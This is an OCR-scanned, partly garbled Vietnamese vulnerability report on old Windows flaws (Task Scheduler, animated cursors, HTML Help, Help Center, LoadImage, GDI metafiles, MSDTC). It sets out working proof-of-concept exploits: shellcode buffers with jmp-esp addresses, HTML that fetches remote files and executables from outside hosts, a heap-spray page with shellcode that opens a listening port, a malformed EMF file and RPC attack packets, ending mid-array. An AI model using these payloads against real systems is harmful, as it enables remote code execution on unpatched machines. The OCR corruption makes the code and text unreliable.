"\x90\x90\x90\x90\x90\x90\x90\x20\x90\x90\x90\x30\x
90\x20\x90\x90C"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x9C"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x50\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

TA\X90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
50\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

M\X90\x90\x90\x90\x90\x90\x90\x90\x920\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x920\x90\x90\x90\x
90\x90\x90\x9C"
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M\ x90\x90\x90\x90\x90\x90\x20\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x20\x90\x
90\x90\x90\x90"

"\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\kx90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x9¢C"

"AX90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x9qQ™"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

”\X90\X90\X90\X90\X90\X90\X90\X90\x90\x90\x90\x90\x
90\x920\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
G0\X90\xX90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
50\x90\x90\x90"

M\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90N\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x30\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90Q™"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90"

"\%78\x00\x78\x00\x78\x00\x78\x00\x79\x00\x79\x00\x
79\x00\x79\x00"
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"\x7A\x00\x7A\x00\x7A\x00\x7A\x00\x7B\x00\x7B\x00\x
7B\x00"

M\ x5b\xcl\xbf\x71" // jump esp in
SAMLIB WinXP SP1

M\ x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"

"\x90\x90" // jmp esp lands
here .
"\ xEB\x80" _ // jmp backward

into shellcode

"\ x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x
61\x00"

"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x
61\x00\x61\x00"

"\ x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x
61\x00\xX61\x00"

M\ x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x
61\x00\x61\x00"

"\ x61\x00\x61\x00\x61\x00\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\xz0\x2o\xzo\x2o\xzo\xzo\xzo\xzo\xzo\xzo\xzo\xzo\x
20\x20\x20\x20"

"\ x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\ x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

M\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20”_

"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\ x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20\x20\x20"

"\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x04\x00\x
44\x00\x3A\X00"
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"\ x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x
73\x00\x74\x00"

M\ x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x
04\x00\x00\x00"

"\xOO\XOO\xOl\XOO\x30\XOO\XOO\XOO\XD4\XO7\X07\XOO\X
OF\x00\x00\x00"

"\x00\%00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x
00\x00\x00\x00"

M\ x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x
00\x00\x00\x00"

"\x00\x00\x00\x00";

/*
* Harmless payload that spawns 'notepad.exe'... =p

* Ripped from snooq's WinZip exploit

*/

unsigned char shellcode[]=
"\x33\xc0" // xor eax, eax

// slight modification to move esp up
"\xb0o\xfo" // mov al, 0foh
"\ x2b\xe0" // sub esp,eax
"\x83\xE4\xF0" // and esp, OFFFFFFFOh
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
P\x33\xfe" // xor esi, esi

"\x56" // puéh esi
"\x68\x2e\x65\x78\x65" // push 'exe.'
"\x68\x65\x70\x61\x64" // push 'dape’
"\x68\x90\x6e\x6£\x74" // push 'ton'
"\x46" // inc esi

"\x56" // push esi

"\x8d\x7d\xf1" // lea edi, [ebp-0xf]
"\x57" // push edi
N\ xb8XXXX" // mov eax, XXXX -> WinExec{)
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\xff\xdo" // call eax

"\x4e" // dec esi

"\x56" // push esi

\xb8YYYY" // mov eax, YYYY -> ExitProcess()
n\xff\xdo"; // call eax

int main{(int argc, char* argv(])

{

unsigned char *ptr = (unsigned char *)shellcode;

while (*ptr)

{

if (*({long *)ptr)==0x58585858)

{

* ((long *)ptr} =
{long) GetProcAddress (GetModuleHandle ("kernel32.d11"
), "WinExec");

}

it (*((long *)ptr)==0x59595959)
R
* ((long *)ptr) =

(long) GetProchddress (GetModuleHandle ("kernel32.d1l1"
), "ExitProcess");

}
pPLtr++;
}
FILE *fp;
fp = fopen("j.xxx", "wb");
if (fp)
{
unsigned char *ptr = jobfile + (31 * 16);
memcpy (ptr, shellcode, sizeof(shellcode)} -
1); '
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fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
fclose (fp);
DeleteFile("j.job"};

MoveFile("j.xxx", "j.job");
}
return 0;
}

1.5./ Giai phap khic phuc

Nén ding cac ban va 16i cia nha cung cép.

2./ Ldi trong viéc xir Iy dinh dang ciia cdc icon va con tré

2.1./ Mire 39 tic dong ciia 16i

Cho phép thye thi mét chuong trinh tir xa. Khi ngudi tin cong khai thac thanh
cong 15i nay s& cé cling mot quyén tuong dwong véi nguoi dung dang nhap bi

tAn cong. Thudng ngudi tin cong diing phuong phap niy dé thure hién tAn cong
DoS.

2.2./ Céc hé thong anh hwong

Microsoft Windows NT Server 4.0 Service Pack 6a.
Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6.

Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4.

Microsoft Windows XP Service Pack 1.

Microsoft Windows XP 64-Bit Edition Service Pack 1.
Microsoft Windows XP 64-Bit Edition Version 2003.
Microsoft Windows Server 2003.

Microsoft Windows Server 2003 64-Bit Edition.

2.3./ Nguyén nhan

Mot diém yéu ton tai trong viée xir Iy cac dinh dang cda con tré va icon,
ngudi tan coéng sé khai thac 16i nay bing cach tao ra mét con tro ¢6 thé thyc
thi mot chuong trinh tir xa néu ngudi ding duyét mot trang web hodc mot
email ma nguoi tAn cong c6 dit con tro nay.

L3i nay ton tai trén cac file .ani ciia tién trinh trong User32.dll cua hé théng
Windows, d6 1a mét file chira cic con tro va icon ciia hé thdng. L3i nay xay
ra khi file .ani ndy dit frame number bing 0 va rate number 14 0. Khi frame
number bing 0 thi kernel s& tinh dia chi khéng chinh xac va lam cho hé
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théng bi héng. Néu rate number dit bing 0 thi kemel s& diing toin bo tai
nguyén hé thong 1am hé théng bj dimg,

e MOt phén cia file duge dinh dang nhu sau:
"RIFF" {{DWORD)Length_of_file}
"ACON"
"LIST" {{DWORD)Length_of list}
"INFO"
"INAM" {(DWORD)Length_of title} {szTitle}
"IART" {(DWORD)Length_of author} {szAuthor}
"anih" {(DWORD)Length_of AnimationHeader}
{AnimationHeaderBlock}.

Téng chiéu dai coa AnimationHeaderBlock 13 36 bytes (0x00000024s) va
khi xir ly truong Length_of AnimationHeader thi gia tri nay dugc truyén
lam d6i s6 cua ham memcpy() 48 chép n6i dung cua
AnimationHeaderBlock, nhung gia tri nay khong duge kiém tra chinh xac
khi truyén, ma buffer ta s& chéo vao dinh vi trén mét stack chinh vi thé ta
c6 thé ghi dé 1én dia chi tra vé va dia chi trinh xi& Iy ngoai 18 (161) béng dia
chi ma noi d6 ma 1énh ching ta dang ché thuc thi.

2.4./ M4 chirng minh
<html>

<style type="text/css">
<l
body {CURSOR: url("KERNELBLUE.ani")}
_—
</style>
<body>
M1 111111111111 1111111111111
</body>

<fhtml>
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Trong d6 KERNELBLUE.ani 1a mét file .ani ciia ngudi tAn cong. File ndy thyc
hién khai thac 1i ctia ban.
2.5./ Giai phip khic phuc

Ding ban va 15i cia nha cung cép.

3./ L3i overflow html help .
3.1./ Mirc d9 tic dong cia 16i

L&i nay cho phep ngudi tin cong thuc thi ma l€nh trén may bi khai thac thanh
cong va nguoi tan cong s€ dat dwoc quyén twong dwong v6i ngudi ding nhép
trén hé thong bi thn cong.

3.2./ Céac hé thong inh hwong

¢ Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4.

o Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2.

¢ Microsoft Windows XP 64-Bit Edition Service Pack 1.
e Microsoft Windows XP 64-Bit Edition Version 2003.
e Microsoft Windows Server 2003.
e Microsoft Windows Server 2003 64-Bit Edition.

3.3./ Nguyén nhin

e Ldi nay xay ra khi phuong thirc showHelp() tham chiéu t6i mét file .chm tir
trong mdt trang Web. Ldi nay dya trén nguyén tic ghi de 1én 4 bytes clia con -
tro Blink trong mét khéi cép phat cia cdu tric danh sich don Lookaside
trong cdu tric Heap cia Windows.

e Chuong trinh HimlHelp s€ doc mét gia tri tir mét file .chm va dung gia trj
nay nhw mot dbi s6 chiéu dai cho 1énh REPZ MOVSD. Ngudi tin cong lgi -
dung vao viéc khong kiém tra chidu dai nay, tao ra mét file .chm 6 gla tri
d6 16n lam tran heap nhu di néi trén cho chi téi mdt dja chi ma nguoi tén
cong dinh sdn va thue thi cac ma 1énh cia ho.

'3.4./ Mi chirng minh
<QOBJECT
id=winhelp
type="application/x-olecbject"

classid="clsid:adb880as6- d8ff 11cf-9377-
00aal003b7al1™

codebage="hhctrl.ocx#Version=5,02,3790,1194™"
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width=100

height=100>

<PARAM name="Command" value="WinHelp">
<PARAM name="Button" value="Text:Exploit">
<PARAM name="Iteml"

value="http://www.xfocus.net/flashsky/icoExp/sear
ch.hlp">MyWindow"> ’

</OBJECT>
3.5./ Giai phap khiic phuc

Sir dung bén vé 16i clia nha cung cip san pham.

4./ L&i Windows help center
4.1./ Mirc 3§ tac dong caa 16i

Windows Help and Support Center (HSC) la mt cong cu trong Windows cung
cép cho nguoi ding sur trg giup dic lye va nd ciing ¢6 thé duge truy cap thong
qua mot dia chi ¢6 cu tric nhr sau HCP:URLSs. Vé mic dinh thi HSC dugc cai
dit trong Windows XP va Windows 2003. Mot 16 ‘nghiém trong ta co thé tim
thdy & day khi mdt ngudi ding nhép vao mot déi sb khong hop 1€ thi cho phép
ngudi ngudi thye thi mé 1énh riéng ma hé thong khéng kiém sodt dugc, va ¢b
thé ddy la nhitng m3 1énh nguy hiém cia ngudi tin cong.

4.2./ Céc hé théng dnh hudng
¢ Microsoft Windows Server 2003. ,
¢ Microsoft Windows XP and Microsoft Windows XP Service Pack 1.
e Microsoft Windows Server™ 2003.
e Microsoft Windows XP 64-Bit Edition Service Pack 1.
o Microsoft Windows XP 64-Bit Edition Version 2003.

- 4,3./ Nguyén nhin

e Nhu ta biét trong HSC ¢6 rét nhiéu file dang HTML va JavaScript, nhing
file nay trong My Computer, dugc ding bdi nhimg chuong trinh phia bén
trong HSC, ma nhitng chuong trinh trong HSC c6 thé duge khai dong bang
Javascript.

. 'B?mg cach ding mot dudng dan dic biét nguot tAn cong co thé danh lira
chay chuong trinh helpctr.exe & trong cuc b va dira mot mot dudng dén url
vio trong tmg dung, va ngudi diing sau d6 s& thiy xuét hién mdt hdp thoai
Help and Support DvD Upgrade. Vi hgp thoai nay thi dudng din ma ngum
tan cong nhing vao sé lién két voi nut “upgrade now™. Néu bim nit nay thi
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ngudi dimg s& thdy mot hop thoai Open/Save véi file clia ngudi tin cong.
Piéu nay cho phép ngudi tin cong khoi dong Dvdupgrade va nhing ma
javascript cho chay cic file HIML ma dic biét Ia
"HCP://system/DVDUpgrd/dvdupgrd.htm", v&i cich nay ngudi dung cé thé
chay nhimg script trong ving My Computer va c¢6 thé download nhimng
chuong trinh clia ngudi tdn cong.

4.4/ Ma chimg minh

<iframe

8rc="HCP://system/DVDUpgrd/dvdupgrd.htm?website=e
xploitlabs.com/msnspoof/poc/dvdupgd/dvdupgd.exe®

width="1" height="1">

</iframes

4.5./ Giai phap khic phuc

Str dung ban va 16i ctia nha cung cip.

5./ Lbi ham LoadImage api overflow

5.1./ Mirc d6 tac dong caa 16

Cho phép ngudi khai théc 13i niy chay mét doan code bit ky.

5.2./ Céc hé thong inh hwéng

Windows XP SP1.

Windows XP 64-bit Edition SP1.
Windows XP 64-bit Edition 2003. _
Windows Server 2003 64-Bit Edition.
Windows NT 4.0 Server TSE SP6.
Windows NT 4.0 Server SP6a.
Windows 2003 Server.

Windows 2000 SP4.

Windows 2000 SP3.

Windows Me.

Windows 98 Second Edition.
Windows 98.

5.3./ Nguyén nhan
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e LoadImage API cia thu vién USER32.dil tdn tai mdt 13, khi ngu&n tan cong
tao ra mét file .ico, .cur, .bmp hodc .ani c6 dang dic biét thi c6 thé lam tran
bd dém va cho phép thuc hién mét ma 1énh bét ky tir ngudi tin cong

* Khi LoadImage xir ly mot hinh anh thi né dung truo‘ng kich thude size truc
tlep & trong file hinh anh va sau d6 cong thém 4, néu ching ta dt kich thudce
ndy trong khoang OXfIfffffc-Oxfffffff thi 16i nay s& xay ra.

e Mot ludng xit 1y hinh anh nhu sau:
LoadImage (

HINSTANCE hinst, // ludng xu ly chi téi
hinh 4nh c2n xu ly.

LPCTSTR lpszName, // tén cua hinh anh.

UINT uType, // kiédu cua hinh anh.
int cxDesired, // chiéu réng.
int cyDesired, // chidu cao.

UINT fulLoad
) ;

» Khi Loadimage xtr 1y thi né khéng c6 mot sur kiém tra nao kich thudc cia
hinh anh ma ma 1¢nh sau day cia LoadImage chi ra khi xir Iy loai file .ani
hoic .cur:

.text:77D56178 mov eax, [ebx+8]
//doc kich thudc

.text:77D5617B mov [ebp+dwResSizel ,
eax

.Lext:77D5617E inz short loc_77D56184
.text:77D56180 add [ebp+dwRegSize], 4

//cdéng thém 4\
Overflow xay ra ¢ day...
.text:77D56184

.text:77D56184 1 oc_77DS56184: ; CODE
XREF: \

sub_77D5608F+EFl j
.text:77D56184 push [ebp+dwResSize]
.text:77D56187 push 0
.text:77D56189 push dword_ 77D5F1A0
.text:77D5618F call ds:RtlAllocateHeap

* Sau do ta lam mét kich thuéc gia lam ddi sé cho cho ham memmov dén t6i
heap overflow:
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.text:77D561A9 mov ecx,
[ebx+8]
.text:77D561AC mov esi,
[ebx+0Ch]
.text :77D561AF add esi,
[ebp+arg 0]
.text:77D561B2 . mov edx, ecx
.text:77D561B4 shr ecx, 2
.text :77D561B7 mov edi, eax
.text:77D561B9 rep movsd
.text:77D561BB mov ecx, edx
.text :77D561BD and ecx, 3
.text :77D561C0O- rep movsb

5.4./ Mi chung minh

Khi doan code sau thyuc hién thanh cong s€ mé ra port 28876 trén may cia nan
nhén:

<html>
<bcdy>

<a href="lo.htm" target="test">ClickMe</a>

<iframe name=myl id=mfl src="1.htm"></iframe>
<iframe name=my2 id=mf2 src="1.htm"></iframes
<iframe name=my3 id=mf3 src="1.htm"></iframe>
<iframe name=my4 id=mf4 src="1.htm"></iframes
<iframe name=my id=mf src="1l.htm"></iframex
<scripts>

img = new Arrayl();

var kl=0;

//document . onmousemove = doit;

function doit {e)

{
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//document . getElementById ("mE") .src="1o.htm" ;
//for (i=0;1<900;1i++)
s
// imgl[i] .src="loadimage.ICO";
/1Y .
kl++;

}

</scripts>

<script language="javascript">
//a
//b

"123456";

Il

n123456";
for (1=0;1<100;i++)

{

img[i] = new Option();
}
//c = "123456";
shellcode =

unescape ("%u4343%u4343%u43eb%u5756%u458b%us8b3csul
554%u0178%uS2ea%u528b%u0l20%u3leasu3llcO%udlcosui4
8b%u0l8a%u3leesuclffsul3cfsudlackussc7su7sco%ulos
6%u75df%usaea’us5a8biull243u66ebiuldc8bius8bdbiulcsa
%ueb01%u048b%ull8bsuSfes8suffsetufcettuct3llsusbed s
u3040%u408b%u8blc%kulc70%u8badsul868%uc031l%ub8éssu
6Cc6CHUAB850%U3233%u642e3u7768%u3273%u545f%u71bb%ue
Ba7%ueB8fe3uffo0suffffsuef89%ucs589%ucda8lsufe70%utf
ff%u3154%ufeclsu40cstubb50%u7d22%u7dabsu75e8%ufff
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E%u31££%u50c0%u5050%u4050%u4050%ubb50%us55a6%u7934
$u6le8suffff%u89ff¥u3lc6%u50c0%u3s550%u0102%ucc70%
uccfe%u8950%u50e0%ul06asus5650%u8lbb%u2cb4suesbetu
ff42%uffff%uc031%u5650%ud3bb¥us8fasues8sbsuffl4suf
f££%06058%ul06a%u5054%ubb56%ufl347%uces6%u23essutsf
fE5u89ff%u3lcésus3dbiules8su6de3susfedsudlelsudbl
1%u5656%u5356%u3153%ufec0%u40c4%usS350%usS353%ub3s3
%uS353%ub353%u6a53%u8944%uS53e0%u5353%u5453%us350%
u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%udoos5%u
dfe8sufffesusbffsuc031%u5048%ubb53%ucb43%usfedsuc
fegsufffesusSeffsuef87%ul2bb%ucdébsuesdosufec2iuff
ff%uc483%u6l5csusoeb™) ;

for (i=0;1<100;1++)
{
img [100+1] = new Option();
}
bigblock = unescape("%u0808%u0808%u0808%u0808");
//a= "1111111171131111111131111131112317";
for (i=0;1i<100;1i++)
{
img[200+i] = new Option();
}
headersize = 20;
/ /b= "111111113131111113111111111111";
for (1i=0;1i<100;i++)
{

img {300+1i] = new Option();
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}

slackspace = headersize+shellcode.length;
for (i=0;1<100;1i++)
{
img(400+1i] = new Option();
}
//c= "11111111111111111111111311111";

while (bigblock.length<slackspace)
bigblock+=bigblock;

for (i=0;1<100;i++)
{
img [500+1] = new Option();
}
fillblock = bigblock.substring (0, slackspace);
for (i=0;1<100;i++)
{

img[600+i] = new Option();

}

block = bigblock.substring(0, bigblock.length-

slackspace) ;
for (i=0;1i<100;i++)

{

img[700+1] = new Option{);

}

while (block.length+slackspace<0x40000)
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{

block = block+block+fillblock;
}
for (i=0;1i<1100;i++)
{
img{800+i] = new Option();
}
memory = new Array();
for (i=0;1<300;i++)
{
memory [1] = block + shellcode;
}
alert ("begini");
//document .getElementById ("mf"} .src="1o.htm";
for (1i=0;1<1900;i++)
{
img[i] .attachEvent ("onclick",doit);
}
//window.open("1l.htm", "test"};
</SCRIPT>
123
</body>
</html>
5.5./ Giai phap khic phuc

Str dung ban va 16i cita nha cung cép.
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6./ L8i metafile trong GDI
6.1./ Mirc d9 tic dong cia 16
Cho phép ngudi khai thic 15i ndy ting quyén han cia minh.
6.2./ Céc hé théng anh hwimg
¢ Windows Server 2003.
¢ Windows 2000.
o Windows NT Terminal Server.
e Windows NT Server.
6.3./ Nguyén nhin

e L3i nay xuat hién khi xir Iy file.emf vi viéc tinh toan cic s nguyén khéng
chinh xac trong ham GetEnhMetaFilePaletteEntries() API cua thu vién
GID32.dll. Ma Iénh sau 13 ma 1énh ma ham trén thyc hién:

UINT GetEnhMetaFilePaletteEntries(

HENHMETAFILE hemf, // handle of enhanced
metafile

UINT cEntries, // count of palette entries

LPPALETTEENTRY lppe // address of palette-

entry array

)

char *begin, *end, *emreof, *palent;
DWORD count, ij;

begin = emf file offset in memory;

// get the count of palette entries from
the emf file

count = *((DWORD *) (begin + 0x44));

if (lppe == 0)

return count;

if (size > count)
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size = count;

// find the end of the emf file
end = begin + *((DWORD *) (bigin + 0x30));

// find the offset of emreof
emreocf = end - *{ (DWORD *) {(end - 0x04));

// find the offset of palentries

palent = emreof + *((DWORD *) (emreof +
0x0¢)) ;

// copy the palent from the file to
palette-entry array

for (1 = 0; 1 <« gize; i++)

memcpy (lppe + i, palent + 1 * 4,

return size;

}

e Ta thiy khong c6 mét su kiém tra hop 1y, giy ra mét vi pham truy cép khi
dung cac gia tri end. emreof, palent dugc doc tir file .emf.

6.4./ Ma chirng minh
Céu tric file EMF ding khai thac 18i duéi dang Hex.

0000000 01 Q00 00 00 64 0O 00 00 93 00 00O 00 02 00
00 00

0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 0O
00 00

. 0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00
01 00

0000030 78 00 00 00 17 00 00 00 03 00 00O 00 Of 0O
00 00

0000040 &4 00 00 0C 41 00 00 00 c8 12 00 00 c2 1la
00 QO

0000050 cc 00 00 00 22 01 00 00 00 00 QO 00 0O 00
00 00
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0000060 00 00 00 00 Oe 00 00 00 14 00 00 00 41 00
00 00

0000070 41 42 43 44 00 00 0l ff
6.5. Gidi phap khic phuc
St dung ban va 13i cia nha cung cdp.

7./ Ldi MS Distributed Coordinator
7.1./ Mirc 36 tic dong ciia 16i
Cho phép ngudi khai thac 18i nay chay nhitng ma 1énh khéng thé kiém sodt.
7.2./ Céc hé théng inh huéng
. Windbws 2003 Server.
e Windowx XP SP1.
¢ Windows 2000 Server SPO - SP4.
7.3./ Nguyén nhin

e Chirc nang Microsoft Distributed Coordinator (MSDTCPRX.DLL) nhrr 1a
mdt RPC server ding xir Iy cdc yéu cau tir giao dién {906BOCE0-C70B-
1067-B317-00DD010662DA} v1.0, chitc nang MIDL _user_allocate ¢6 mot
cai dat c6 thé sinh ra 181 @6 14 1uén ludn cép phat mdt page 4KB cua bj nhé
dung ham VirtualAlloc, bét chdp kich thudc yéu chu «cap phat 1a bao nhiéu,
chinh vi thé su cag phat nay ludn thanh cong va tra vé dia chi cua kpm 4KB
do. Boi vi duoc cap phat biang ham VirtualAlloc nén vé nguyén tic khéng
c6 mét khdi nhé nao ké cén né dé c6 thé thuc hién viée ghi d@, tuy nhién né
lai goi ra mét thu vién RPC ma ban thin né cé nhitng hanh vi c6 thé khai
théc khi két hop v6i tién trinh cdp phat cia MSDTCPRX.

e Sau day la mot phén tich cua phuong thirc NdrAllocate cia RPCRT4.DLL
ding lwu trit nhitng thong tin dit liéu quéan tri nao d6 sau nhitng khdi né cap
phat:

JESI = kich thudéc cép phat dugc 1lam trdn 1én sé
chia hét cho 8.

; EBX = tdng kich thuéc clp phat (kich thuéc cép
ph&t+ 0Ch)

; kiém tra tiédn toan ven, kich thuéc clp phat

phai nhd hon FFEFFEFFOh

786F828D push ebx ; EBX = tdng kich thudc clp phat
786F828E call dword ptr [edi+48h]

.
’
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MSDTCPRX.DLL!MIDL user_allocate
786F8291 mov ebx, eax
786F8293 test ebx, ebx
. 786F8295 jz 7873549590
786F829B lea eax; [esi+ebx] ; ESI = allocation
size
786F829E lea ecx, [edi+0B0Oh]
786F82A4 mov dword ptr [eax], 4D454D4Ch ; +00h
"LMEM" tag |
786F82AA mov [eax+4], ebx ; +04h start of block
786F82AD moﬁ edx, [ecx]
786F82AF mov [eax+8], edx ; +08h ; danh sach lién
két don.
786F82B2 mcv l[ecx], eax ; dua khdi ndy vip trong

danh s&ch lién két.

> Boi vi kich thudce cdp phat duoc cung cép tir ngudi duge kiém tra 1o rang
khi ham cdp phat thanh cong, bat ki mét kich thude nao bang FFFFFFFOh
hodc nhé hon déu ¢ thé 14 déi sé cua ham NdrAllocate, nhir vdy 12-bytes
cia dir lidu quan Iy c6 thé lwu trir mot dia chi bét ky lién quan téi vi tri bd
nhé duge cip phat tir ham VirtualAlloc, va ba trudmg c6 kich thude
DWORD }a mdt con tro chi téi vung nhd nay 1a mdt diéu kién cho ngudi tdn
cong khai thac sdu hon vao hé thong.

7.4./ Ma ching minh _
Mai chimg minh nay ding Cho Wimdows 2000 SP4:
#include <stdio.h>
#include <string.h-
#include <winsock.h>

#tinclude <windows.hs>

unsigned char packetl[] =
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00"

"\x00\x00\x01\x00\x00\x00\xd0\x16\xd0\x16\x00\x00
\x00\x00\x01\x0Q"
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M\ x00\x00\x00\x00\x01\x00\xe0\x0c\x6b\x90\x0b\xc7
\x67\x10\xb3\x17“

M\ x00\xdd\x01\x06\x62\xda\x01\x00\x00\x00\x04\x5d
\x88\x8a\xeb\xlc"

"\xco\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00
\x00\x00";

unsigned char packet2[] =
"\x05\x00\x00\x03\x10\x00\x00\x00\x04\x01"

"\x00\x00\x01\x00\x00\x00\xec\x00\x00\x00\x00\x00
\x07\x00"

"\ x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00"

"\ x00\x00\xCO0\x00\x00\x00\x00\x00\x00\x00\x25\x00
\x00\x00\x00\x00"

"\x55\x00\x55\x00\x55\x00\x556\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

"\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\%x00"

"\x55\x00\x55\x00\x55\x00\x55\x0O\x55\x00\x55\x00
Z\x55\x00\x55\x00"

"\ x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
A\x55\x00\x55\x00"

"\ x55\%00\x55\%00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

"\xSS\xOO\x55\x0O\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

"\xS5\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\%x00"

"\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

"\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

"\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x0C"

"\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\%x55\x00\x55\x00"
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M\ x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\%x00"

"\ x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

"\ x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\X55\x00\x55\x00"

M\ x55\x00\x55\x00\x55\x00\x55\x00\x55\x00\x55\x00
\x55\x00\x55\x00"

“\XSS\XOO\x55\x0O\XSS\XOO\XSS\XOO\XSS\XOO\XSS\XOO
\x55\x00\x55\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x30\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\xS0\x=x00"

"\x90\x00\x30\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\X90\X00\X90\X00\X90\XOO\X90\X00\X90\X00\X90\x00
\X90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00™"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

“\X90\XOO\X90\XOO\X90\XO0\X90\XOO\X90\XOO\X90\XOO
\X90\x00\x90\x00"

"\x90\x00\x20\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\xX90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

”\x90\x00\x90\x00\x90\x00\x90\xOO\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\%x90\x00\x90\x00\x90\%00
\x90\x00\x90\x00"



"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
